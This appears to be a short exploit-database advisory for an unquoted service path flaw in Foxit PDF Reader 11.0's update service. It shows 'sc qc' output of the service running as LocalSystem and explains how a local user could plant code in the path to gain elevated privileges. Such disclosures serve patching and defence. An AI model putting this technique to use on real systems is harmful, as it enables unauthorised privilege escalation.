# Exploit Title: Foxit PDF Reader 11.0 - Unquoted Service Path # Date: 05/03/2022 # Exploit Author: Hejap Zairy # Vendor Homepage: https://www.foxit.com/pdf-reader/ # Software Link: https://www.foxit.com/downloads/#Foxit-Reader/ # Version: 11.0.1.49938 # Tested: Windows 10 Pro x64 es C:\Users\Hejap>sc qc FoxitReaderUpdateService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: FoxitReaderUpdateService TYPE : 110 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\FoxitPDFReaderUpdateService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Foxit PDF Reader Update Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.